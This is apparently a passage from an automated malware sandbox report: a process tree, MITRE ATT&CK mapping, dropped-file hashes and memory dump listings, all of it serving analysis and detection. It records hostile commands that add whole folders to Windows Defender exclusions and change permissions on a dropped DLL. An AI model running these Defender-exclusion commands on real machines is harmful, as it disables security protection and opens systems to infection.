    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:2828
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    PID:2524
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\PpmMey\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2004

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tTcpG7" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\tTcpG7" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5084

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:5276

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1964
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5584

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3868

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5760
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:1248

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1904
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3032

C:\Program Files (x86)\PpmMey\vdsK5r.exe
"C:\Program Files (x86)\PpmMey\vdsK5r.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:696

C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe
"C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2364

C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe
"C:\Program Files (x86)\2PEAf9D\4cB2n3Ff.exe"
1⤵
PID:1148

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:3616
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  PID:5980

C:\Program Files (x86)\PpmMey\vdsK5r.exe
"C:\Program Files (x86)\PpmMey\vdsK5r.exe"
1⤵
PID:2812

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:4912
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  PID:848

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1196
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  PID:5588

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Installer Packages

T1546.016

Screensaver

T1546.002

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

e58f6d0.rbs

Path C:\Config.Msi\e58f6d0.rbs
Size 7KB
SHA256 53e1dfa3340afe182c504058b36526b53a7ce5bab689cfc1d024ea4cce62fee3
MD5 c868c94cdac5afe13944c2300caa15f6
SHA1 25ae481ddddb92a779e2fc6493320bfe566942d7
SHA512 fd09328c176c283bea694740dad0dd782ff9be1d35f122f74f8d0b91e7333c4ee6b9bb4ee323c3392aec1a920a49d39500d7658b03fdd3913a17264e8552e552
SSDEEP 96:hSmhgu0Cb3SUUwn0D1CsThqFUwn0D1C6je1Hp/ThqlHm25yeWl0lbwCKpljeAbAp:hSmaCez40DIIz40DIxjald3KpIZ
TLSH
T177F1000676144BF2F8E66B35CB07176637A2D2E5939433DB0CCD80241FC37982EA868E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\2PEAf9D\XPSPLOG.dll
Size 4.6MB
SHA256 54cc796c65a2b16c3f442a3a67bdb08191a08e83f664b2496ada8996b10d75de
MD5 c10850082040463adf41934bb467803b
SHA1 52be788b3840ba60019775e06d10263a0a693397
SHA512 8fddd7f44870d8faaf5137962a865a143efe64883c580e497e4d2b6e4d15c9c5c8444329bd1c24893a66be7f07683da260883315b2a30c903209c97fcdb89699
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmy6:BMWKfU+BcUTHCCCfqCiUffn6
TLSH
T129263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\2PEAf9D\image.png
Size 4.9MB
SHA256 0230466d99492fb50965f5e9e1e88cc71b1335ac08e8d053ba680d8be8e5275a
MD5 863c887c762c3a86f447d1f05f8c2015
SHA1 f08b7d21144fc84350477a2958483e635d9f4c04
SHA512 efa40e46bb42f0f1a586dd8753d77377e575fb04f163132b4cc13491405a6dfd734090b9a5857d34544681ac867723d51ff03d60f807a7695b4844864b34a3bd
SSDEEP 98304:1XjR0PaemmeGXdG2BHmP46ziMd4hlx00SvotfTjZ7MWwFp+0MW+:1XjRUDXdvHuTBdIlUOT9z0n+
TLSH
T10336337D3D2DA53F9AA3CA9079CAFD2A57B6CB4A971B0D6ACB75F403354120402C7D12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

XPSPLOG.dll

Path C:\Program Files (x86)\PpmMey\XPSPLOG.dll
Size 4.6MB
SHA256 a9079b23bfb7e0d0ef8073f0eddf4d143ff9a3243ece22fe28267303cf1123a0
MD5 4eba9c91749ce51d1962ea36ea0924ca
SHA1 b8f458cc860cea3f3e701a01dc0b3462140d353d
SHA512 5bdacffc01469aa7ddcddaea820c8bd5c8e923ce60c6940923e24ce254f2c150e2ce597ae543088182737267b3df76dbe29b7eeddc1f5a23c1b55777a01909c0
SSDEEP 98304:yCMWmcKfST5t+BceThTHfaCCUqmJPCYvboB1fdmyK:BMWKfU+BcUTHCCCfqCiUffnK
TLSH
T111263349BADB025DD89672704F6AFD7EB2B92CCC4204DC4DD44DE587E8B2729703A90E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

image.png

Path C:\Program Files (x86)\PpmMey\image.png
Size 4.9MB
SHA256 a8110909cc393c5cb707df62e11707efd32e30c8f97154ac76a2fb326669c72d
MD5 a53b402fc5b925be2f39d1a64e63e16e
SHA1 5b75deb4cf97852ce06a1946d72d16874b2773b8
SHA512 326efde42b861ce6dedfbe5c2f452b812103772350cfdfb5008b2a5d87b72a4e10e5ded53ec36e0914de1a0c62119a7de6b357fe458ed9a2d481cccc02ecaec2
SSDEEP 98304:2XjR0PaemmeGXdG2BHmP46ziMd4hlx00SvotfTjZ7MWwFp+0MW+:2XjRUDXdvHuTBdIlUOT9z0n+
TLSH
T12036337D3D2DA53F9AA3CA9079CAFD2A57B6CB4A971B0D6ACB75F403354120402C7D12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

thumbs.db

Path C:\Program Files (x86)\PpmMey\thumbs.db
Size 358KB
SHA256 0f1deff3890c1834ce314b004dd372928c09887cc395c20fdbabe1220efcf901
MD5 cea1edc0e73ebd8c2ae641a2cbcdb0d1
SHA1 b67a0a8c5589c3dfad63ec0225601a3063c36297
SHA512 b8463faeaffb19b68769cfa473f8b0a59f3d84ae920d942bcd29d6e85c8e6d4abd899e789033aeb3155f50606e6e54d96700c5c680e0c4013cdd659507f20620
SSDEEP 6144:0iACk/u6n9aBOmmD1oQFu0oMOxKnJPWyD9Dcqt1oFsnrqW7mb/:j8u69CghoQxoMTFQqtKFCz7mb/
TLSH
T14D74F268E6651EFE0E175FECE04F58AE9A8FD9E302C900252BF1C6D1CA106E4941FD5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vdsK5r.exe

Path C:\Program Files (x86)\PpmMey\vdsK5r.exe
Size 145KB
SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
MD5 5251b98614acffe5c856f4039ca03da3
SHA1 c80ed6716e89d4862f28ebbc130ec5aa362db963
SHA512 d750c9adb08d9525ee9948c0c18c96f0c9520068aa4aa24885ac0d98790a6cc0a8ce0e71e1c669acd4623e0aabfc08c11c02be403f275b01aa4277c4ddab3302
SSDEEP 3072:VafgcZGuY2TqWLGzwRC7kll1xtBQDTCCvtzaYPFPR/M:Yz8upLGaPQDnFzaYPFdM
TLSH
T16AE30852B6808460F76A0B311864F9E44A6EED3C1AD0E95FF2787D3A1E311C38A7756F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 21266dd0697dbd3591baf9a196cd1363e1a38ba719398f80e967f66fe7f97e86
MD5 898bcac1a9787b8c2beb96ee54aa8f83
SHA1 407c891ce54d650afee8b8f2b82dc9a2936132a2
SHA512 03d6ab58b7994e91229b82a287c020ac07d9a127a2a802d5d7c3346dcedfe36f496b28159bcf43a836d1f2f4798114ce86c51e333c1557a9d6e919532299a00d
TLSH
T135219833B3DC8620CC9A413A10CDAC1036B6C7DB40DECFAB7B84E659A43F698CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_h3ufaitz.fde.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h3ufaitz.fde.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

destopbak.ini

Path C:\Users\Public\Music\destopbak.ini
Size 2B
SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
MD5 7e74f75663e5b5a4f3452a4c603ee45d
SHA1 d5114b086b721f2c87ea7152025792958ab4c629
SHA512 2f5d0d45593487bebc2ccf968eaf2a4a3bde1d5a29c7c2b5ad411e041c0d3b7a46be439ed7083093057a96030683b9defbed1a2ef7882b3e64cf3fbc7c9cf12f
MD5 SHA1 SHA512

Submit Download

IHJuVM.exe

Path C:\Users\Public\tTcpG7\IHJuVM.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\tTcpG7\UxEnhance64.dll
Size 3.1MB
SHA256 a2c9a64dcd68e9ddb666d563e9eafa182d0dc1a611b1ce2be9955b1d08bcfa94
MD5 784effe4654d8bc86c0427da1bf6a8de
SHA1 b412906cbacbedee737678be28dbfb32d9e63f19
SHA512 6f292e4517d56f2450f8a93beb87d840d1b3a011b1b6860ebff5f45826e20a6a70d62ce267f27bb97563fa26f78b74cae15f9851a6425823642cf1ace2d2b208
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+z:P9m29xx3Tiqt06ox6+z2rNNrKoz
TLSH
T173E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\tTcpG7\adoresd.dat
Size 4.8MB
SHA256 381588fa9b591377456f44044dafe141faa5a153e90e20e4f634d3b300bb6c30
MD5 7e3838ba77c3f894e7592e3f78d215ed
SHA1 e9ffd2be6039c0dd96008dbc36e6f044935999ce
SHA512 e071d07e4da0c33f2dc0d129c142e54c8b7e67dc881f0dc71c313cec9f29ef085e82715041bf294803d25052334ba1ac62123b620edb8932cb162e40534b5c19
SSDEEP 98304:zuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:0QDPnORb7AdPEm7Y7ltlVgxs
TLSH
T190363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\tTcpG7\msadox.tb
Size 8KB
SHA256 62df25abaf4aae1e09fb2674e261cdce6a47d4dc6d2ab4e033b3bf7ea0557cec
MD5 1aeebac295879b01d49dcaea230c40d2
SHA1 4f3cfa6f6eefbcd854ee0ccbea2ea09c23fc19a0
SHA512 1dc06d85c8ffe8b0d322192269f768b4d825b946d000b8679e6582e8f4c5cccddfcb4640887d47cf6e1bae028c20c8bb376a53f44842dc0daa89568ac32a53fa
SSDEEP 192:zqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:zsZqZOXQ3uqvR2Kfzp
TLSH
T1A1029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C16B072DE2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSIFCBB.tmp

Path C:\Windows\Installer\MSIFCBB.tmp
Size 7.6MB
SHA256 9b8835ea6895d8dc16ac076f5013b8851c1e49f4290713ecd97e5f01acec4f81
MD5 dbf189d7b000365e5f6b18c29e07e898
SHA1 132b244aac1cccca861e2a84faa1ec466a62e846
SHA512 a2caf62b5d1046d2da0c0b2fbdf443405fe9ba49e43f561573dd79bbc971b5d4927f45177c380c8841f45101165f76f4b357bc687151a523db04a46ab5a1e2f1
SSDEEP 196608:XvA8KuUBIeMpGZt46NuHbhCpJRWt4zEAYsHCPefrEK:XPKfBIe9y66SJ4CYmzrl
TLSH
T1638633C878CEA2B4D1E3C77546C3345E3D3937D276AA8F1ABD5526002D6223B6739389
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e58f6cf.msi

Path C:\Windows\Installer\e58f6cf.msi
Size 7.7MB
SHA256 8c000ba7798834425295861755637cb072749e8b17f893ca528cd9bd30a65afb
MD5 40d23c4b1fc07332708318a93e7b11a3
SHA1 f43fe662284ad1cc629559b18310ae8f04b3fd03
SHA512 cf8236f418975b5325d0a60aefa0713619dfe89169eeb0623ea0f9a9f39dc758d05a532ea31b644bd6a7be05d0a66e35cb1eadfd9b5928f9b9aa2c1bb97aa4b1
SSDEEP 196608:yvA8KuUBIeMpGZt46NuHbhypJRWt4zEAYsHCPefrEC:yPKfBIe9y66qJ4CYmzrt
TLSH
T1628633C87CCDA674C1A3C77546C3645E3D387FD277AA8E1BBA5536002D32236277A289
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata-2

Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
Size 26.1MB
SHA256 7ec29ac90e8b2e58730835f4b08752c77f28d6fea57a365abcf63b8787b951fa
MD5 a72fa0db3d102e3dc8ea1e80c880ae75
SHA1 530897069fd71e881c9241590b72f186646d3a11
SHA512 3b5527250dcf689a6f6d29c80ee34490a68d7a7ae8e51fe3e7ddfc0d51bd4e9c452a205a5f6db547dca060cef899c0d2989eaf065af8deb052128a4071e6bba7
SSDEEP 24576:lFo3DMPddoO/vvTL/iQSCy1w/7uoZ7lhkvUAtvsqUnc65lTicoxGSr4j2+4:9HU
TLSH
T14657F41436F92210E7F39E3CA8F46A234D397D5B9C1ADE8C45411B4E0922F71E972F6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

{b9c98872-7561-4676-8d16-9201052260d2}_OnDiskSnapshotProp

Path \??\Volume{cb180e94-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b9c98872-7561-4676-8d16-9201052260d2}_OnDiskSnapshotProp
Size 6KB
SHA256 a5201e34127ffa31e522a0f2eca584831b50df6f5e36a0af87085ca0c0623fe9
MD5 b561a3cd736cc3b513b2a915b5b0d739
SHA1 1951dee42f9d14bf48fc2b2fdfb0e738840ac13b
SHA512 c51653221a433b67c6ed4f7804e0ec629c6eb1a7ae63ef79d953ced6e80f321d83a6a3710c85e5cead258ef2f1c7baea07f051747e2e8b53441134c25b0dd52e
SSDEEP 96:FtX7qvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:nSb++uVm
TLSH
T13AD187085AF54711E2B3AB316DF18557A837B911EF33CB8E0198238E6631910F976F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/696-274-0x0000000003170000-0x0000000003959000-memory.dmp

Download

memory/696-244-0x0000000074430000-0x0000000074B7A000-memory.dmp

Download

memory/696-254-0x0000000003170000-0x0000000003959000-memory.dmp

Download

memory/696-243-0x00000000005F0000-0x00000000005F1000-memory.dmp

Download

memory/696-273-0x0000000000970000-0x0000000000971000-memory.dmp

Download

memory/696-279-0x00000000005F0000-0x00000000005F1000-memory.dmp

Download

memory/1148-298-0x0000000003D10000-0x00000000044F9000-memory.dmp

Download

memory/1148-307-0x0000000001520000-0x0000000001521000-memory.dmp

Download

memory/1148-285-0x0000000071D90000-0x00000000724DA000-memory.dmp

Download

memory/1148-284-0x0000000001520000-0x0000000001521000-memory.dmp

Download

memory/1148-289-0x0000000003D10000-0x00000000044F9000-memory.dmp

Download

memory/1148-297-0x0000000001690000-0x0000000001691000-memory.dmp

Download

memory/2060-312-0x0000000006210000-0x0000000006232000-memory.dmp

Download

memory/2060-327-0x0000000008250000-0x00000000088CC000-memory.dmp

Download

memory/2060-325-0x0000000007840000-0x0000000007860000-memory.dmp

Download

memory/2060-322-0x0000000073A20000-0x0000000073A6C000-memory.dmp

Download

memory/2060-321-0x0000000007860000-0x0000000007896000-memory.dmp

Download

memory/2060-320-0x0000000006A60000-0x0000000006AAC000-memory.dmp

Download

memory/2060-319-0x00000000068B0000-0x00000000068CE000-memory.dmp

Download

memory/2060-331-0x0000000007DF0000-0x0000000007E01000-memory.dmp

Download

memory/2060-317-0x0000000006460000-0x00000000067BB000-memory.dmp

Download

memory/2060-316-0x00000000063F0000-0x0000000006456000-memory.dmp

Download

memory/2060-315-0x0000000006310000-0x0000000006376000-memory.dmp

Download

memory/2060-330-0x0000000007E70000-0x0000000007F06000-memory.dmp

Download

memory/2060-311-0x0000000005AE0000-0x000000000612A000-memory.dmp

Download

memory/2060-310-0x00000000053F0000-0x0000000005426000-memory.dmp

Download

memory/2060-329-0x0000000007C70000-0x0000000007C7A000-memory.dmp

Download

memory/2060-326-0x0000000007AB0000-0x0000000007B53000-memory.dmp

Download

memory/2060-328-0x0000000007C00000-0x0000000007C1A000-memory.dmp

Download

memory/2364-261-0x00000000032A0000-0x0000000003A89000-memory.dmp

Download

memory/2364-248-0x0000000073870000-0x0000000073FBA000-memory.dmp

Download

memory/2364-270-0x00000000032A0000-0x0000000003A89000-memory.dmp

Download

memory/2364-247-0x0000000000E30000-0x0000000000E31000-memory.dmp

Download

memory/2364-278-0x0000000000E30000-0x0000000000E31000-memory.dmp

Download

memory/2364-269-0x0000000000F60000-0x0000000000F61000-memory.dmp

Download

memory/2812-305-0x0000000001430000-0x0000000001431000-memory.dmp

Download

memory/2812-295-0x0000000003A50000-0x0000000004239000-memory.dmp

Download

memory/2812-291-0x0000000001430000-0x0000000001431000-memory.dmp

Download

memory/2812-292-0x0000000074430000-0x0000000074B7A000-memory.dmp

Download

memory/2812-302-0x0000000003A50000-0x0000000004239000-memory.dmp

Download

memory/2812-301-0x0000000001450000-0x0000000001451000-memory.dmp

Download

memory/3444-11-0x0000021863D60000-0x0000021864704000-memory.dmp

Download

memory/3480-204-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-227-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-196-0x0000000001670000-0x0000000001671000-memory.dmp

Download

memory/3480-197-0x0000000074430000-0x0000000074B7A000-memory.dmp

Download

memory/3480-201-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-203-0x0000000001690000-0x0000000001691000-memory.dmp

Download

memory/3480-252-0x0000000010000000-0x0000000010061000-memory.dmp

Download

memory/3480-308-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-208-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-237-0x0000000003EE0000-0x00000000046C9000-memory.dmp

Download

memory/3480-215-0x0000000001BA0000-0x0000000001BB4000-memory.dmp

Download

memory/5560-110-0x000001EB32720000-0x000001EB327D2000-memory.dmp

Download

memory/5560-111-0x000001EB326F0000-0x000001EB326FA000-memory.dmp

Download

memory/5560-106-0x000001EB326B0000-0x000001EB326D2000-memory.dmp

Download

memory/5560-109-0x000001EB32700000-0x000001EB3271E000-memory.dmp

Download

memory/5764-41-0x00007FFD220A0000-0x00007FFD220B2000-memory.dmp

Download

memory/5764-17-0x00007FFD220A0000-0x00007FFD220B2000-memory.dmp

Download

memory/5764-14-0x00007FFD14BC0000-0x00007FFD15212000-memory.dmp

Download

memory/5764-13-0x00007FFD38FF0000-0x00007FFD38FF2000-memory.dmp

Download

memory/6064-91-0x0000020202F50000-0x0000020202FDA000-memory.dmp

Download

memory/6064-61-0x00007FFD38FF0000-0x00007FFD38FF2000-memory.dmp

Download

memory/6064-77-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-78-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-62-0x00007FFD16560000-0x00007FFD16A7E000-memory.dmp

Download

memory/6064-70-0x00007FFD39000000-0x00007FFD39002000-memory.dmp

Download

memory/6064-83-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-94-0x0000020202F50000-0x0000020202FDA000-memory.dmp

Download

memory/6064-71-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-67-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-75-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-76-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-99-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-98-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-96-0x0000020202530000-0x0000020202DEE000-memory.dmp

Download

memory/6064-89-0x0000020202E30000-0x0000020202E7E000-memory.dmp

Download

memory/6064-90-0x0000020202F50000-0x0000020202FDA000-memory.dmp

Download

memory/6064-93-0x0000020202F50000-0x0000020202FDA000-memory.dmp

Download